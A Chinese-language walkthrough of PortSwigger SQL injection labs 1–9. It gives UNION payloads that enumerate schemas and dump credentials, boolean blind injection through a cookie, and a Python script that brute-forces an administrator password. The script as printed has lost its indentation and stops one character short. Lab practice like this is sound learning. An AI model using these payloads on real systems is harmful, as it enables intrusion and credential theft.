PortSwigger中的SQL注入

 CTF / Web
被浏览

PortSwigger是著名神器 BurpSuite 的官方网站,也是一个非常好的漏洞训练平台。

同时也是我们这些新生入队的第一份 SQL 作业

下文的编号均依照 SQLi 内的顺序。

Lab-1

在开始之前,先讲讲联合查询的原理,UNION 操作符能够合并两个或多个 SELECT 语句的结果,而且 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,因此后端能正确的处理查询到的信息。

Lab-1 旨在让我们初步了解联合注入攻击,题目已经告诉我们在 filter?category= 中存在注入漏洞,要求我们得知查询返回的列数。

通过测试,得知是字符查询,可以通过单引号加注释来闭合。

官方给的题解是通过依次向 SELECT 后加空类型数量是否报错来判断列数,第一个不报错的查询中的空类型数量即为列数。

payload:'+UNION+SELECT+NULL,NULL,NULL+--+

但这个方法较为繁琐,可以利用 ORDER BY 来判断列数。

ORDER BY 用于按照列进行对结果集进行排序,因此如果使用的列数大于返回的列数查询就会失败。

payload:'+ORDER+BY+3+--+

至此,我们成功解决了 Lab-1 的问题。

P.S. 通过观察正常的回显猜测每列的数据功能,也能猜测出返回的列数。

Lab-2

进入环境后先看最上面的题目要求,题目要求我们检索到一个特定的字符串,这里我的字符串是 HZY60Y

首先我们知道数据库表中的每个列都要求有名称和数据类型,而我们希望检索到的信息一般为字符串,因此,确定返回值哪一列是字符串类型就至关重要。

这里我们就只能用 SELECT 一个一个试了,最后试出来第二列是字符串类型。

payload:'+UNION+SELECT+NULL,'HZY60Y',NULL+--+

P.S. 经测试,第一列和第三列是数字类型,第一列代表商品 id,第三列代表商品价格。

Lab-3

题目要求我们获得别的数据表中的内容,并以管理员身份登录。

我们先通过之前 Lab-1 和 Lab-2 的方法来得知返回两列数据,并且都是字符串类型。

由于事先告诉了我们列名和表名,所以直接查询即可。

构造 payload:'+UNION+SELECT+username,password+FROM+users+--+

成功获得账号密码,登录即可。

P.S. 在实战中列名和表名不可能直接告诉我们,需要通过别的手段来查询。

查询表名:SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE()

查询列名:SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'

查询数据类型:

SELECT COLUMN_NAME,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'

但是第 3 种方法我在 Lab-2 时失败了,希望能有大佬评论解释一下 QAQ。

Lab-4

类似于 Lab-3,但这次返回的列中只有一列是字符串类型了,因此我们需要把 username 和 password 连接起来。

不完全统计,SQL 中常用的字符串拼接方法有:

1
2
3
4
Oracle:'foo'||'bar' 或是 CONCAT('foo','bar')
Microsoft:'foo'+'bar'
PostgreSQL:'foo'||'bar'
MySQL:'foo' 'bar' 或是 CONCAT('foo','bar')

payload:'+UNION+SELECT+NULL,CONCAT(username,'+:+',password)+FROM+users+--+

官方给的题解是用 || 连接的。

payload:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Lab-5

不同的数据库软件,不同的软件版本有不同的语法和注入方式,所以判断数据库类型和版本十分重要。

像 Oracle 的数据库,查询时必须提供表名,但是我们又不知道有哪些表,这时候我们就可以用到 dual 表了。

dual 是 Oracle 中的一个实际存在的表,任何用户均可读取,常用在没有目标表的 SELECT 语句块中。

所以我们可以用 payload:'+UNION+SELECT+NULL,NULL+FROM+dual+--+ 来判断返回的列数。

其实和前面一样,看页面就能猜到是两列了

用 Lab-2 中的方法就能知道两列都是字符串。

SQL 中常用的查询数据库版本的方法有:

1
2
3
4
Oracle:SELECT banner FROM v$version 或是 SELECT version FROM v$instance
Microsoft:SELECT @@version
PostgreSQL:SELECT version()
MySQL:SELECT @@version

于是有 payload:'+UNION+SELECT+NULL,banner+FROM+v$version+--+

P.S. 虽然题目让你输出 banner,但事实上只输出版本号也算你通过了,payload:'+UNION+SELECT+NULL,version+FROM+v$instance+--+

Lab-6

用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。

用 Lab-5 中的方法,可构造 payload:'+UNION+SELECT+NULL,@@version+--+

Lab-7

同样的,利用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。

使用 Lab-3 中提到的查询表名的方法,我们构造 payload:'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables+--+ 来获得所有表名。

查询 users,以我为例,有一个表名叫 users_hrculq

再用 Lab-3 中的提到的查询列名的方法构造 payload:'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_hrculq'+--+

得到列名分别为 username_thhhyepassword_rrnflm

再用 Lab-3 中的方法构造 payload:'+UNION+SELECT+username_thhhye,password_rrnflm+FROM+users_hrculq+--+

即可得到账号密码。

Lab-8

用 Lab-5 中的方法就能知道有两列且都是字符串。

构造 payload:'+UNION+SELECT+NULL,table_name+FROM+all_tables+--+

与 Lab-7 类似的,以我为例,存在一个名为 USERS_BPUSXY 的表。

构造 payload:'+UNION+SELECT+NULL,column_name+FROM+all_tab_columns+WHERE+TABLE_NAME='USERS_BPUSXY'+--+

得到列名分别为 USERNAME_RXOWXXPASSWORD_BPQNLT

再用 Lab-3 中的方法构造 payload:'+UNION+SELECT+USERNAME_RXOWXX,PASSWORD_BPQNLT+FROM+USERS_BPUSXY+--+

即可得到账号密码。

Lab-9

进入了全新的知识点,有点难度。

在布尔盲注情形下,服务器只会对你的数据返回 2 种可能的情况。

在这里就是右上角的 “Welcome back!”。用 BurpSuite 抓包后发现带了 cookie:

Cookie: TrackingId=WOIVqvYbhS4OsGi6; session=ixZOZ9IdT4dL7AozrFuSDJicKD355nD8

不过 document.cookie 是空的,希望能知道实现原理,是后端对每个会话都存了一个 TrackingId 吗?

推测后端实现类似 SELECT * FROM TrackingIds WHERE TrackingId = '$Cookie.TrackingId'

我们可以尝试在 TrackingId 后面添加一些条件,以我当前状态为例,修改 Cookie 为 TrackingId=WOIVqvYbhS4OsGi6' AND '1'='1

这时候查询语句就会闭合为 SELECT * FROM TrackingIds WHERE TrackingId = 'WOIVqvYbhS4OsGi6' AND '1'='1'

自然是正确返回 “Welcome back!”,再修改条件为 '1'='2,发现回显消失了,判断存在布尔盲注。

测试一些常见的字符串函数:

测试子串:' AND SUBSTRING('abc',1,1)='a

如果这个不成功,试试 ' AND SUBSTR('abc',1,1)='a

测试字符串长度:' AND LENGTH('abc')=3 AND '1'='1

测试通过后我们就可以正式开始了。

尝试寻找常见的表,比如 users、flag 这种。

构造 payload:' AND (SELECT 'a' FROM users LIMIT 1)='aLIMIT 1 来保证返回的必定是 ‘a’,发现存在 users 表。

由于题目告诉我们用户账号是 administrator,所以构造 payload:' AND (SELECT 'a' FROM users WHERE username='administrator' LIMIT 1)='a

得知在 users 表中存在名为 username 的列。

再构造 payload:' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

得知密码长度大于 1,以此类推,最后知道密码长度为 20。

再利用 SUBSTRING 函数截取每一位来判断密码。

过程太折磨了,都是类似 ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a 这种。

使用了 python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests, string, sys, warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
url = "https://ace01f551f74a718c0b829ea002e0066.web-security-academy.net/"
hint = "Welcome back!"
password = ""
pos = 1
proxies = {
'http': None,
'https': None,
}
for i in range(1, 20):
for ch in string.ascii_letters + string.digits:
sys.stdout.write(f"\r[+] Password: {password}{ch}")
cookies = {
"session" : "ixZOZ9IdT4dL7AozrFuSDJicKD355nD8",
"TrackingId" : f"WOIVqvYbhS4OsGi6' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator')='{ch}",
}
res = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if hint in res.text:
password = password + ch
pos = pos + 1
sys.stdout.write(f"\r[+] Password: {password}")

P.S. 实战中不可能直接把表名和库名告诉你,需要撞库。可以写 python 脚本,或是利用 BurpIntruder。

To be continued…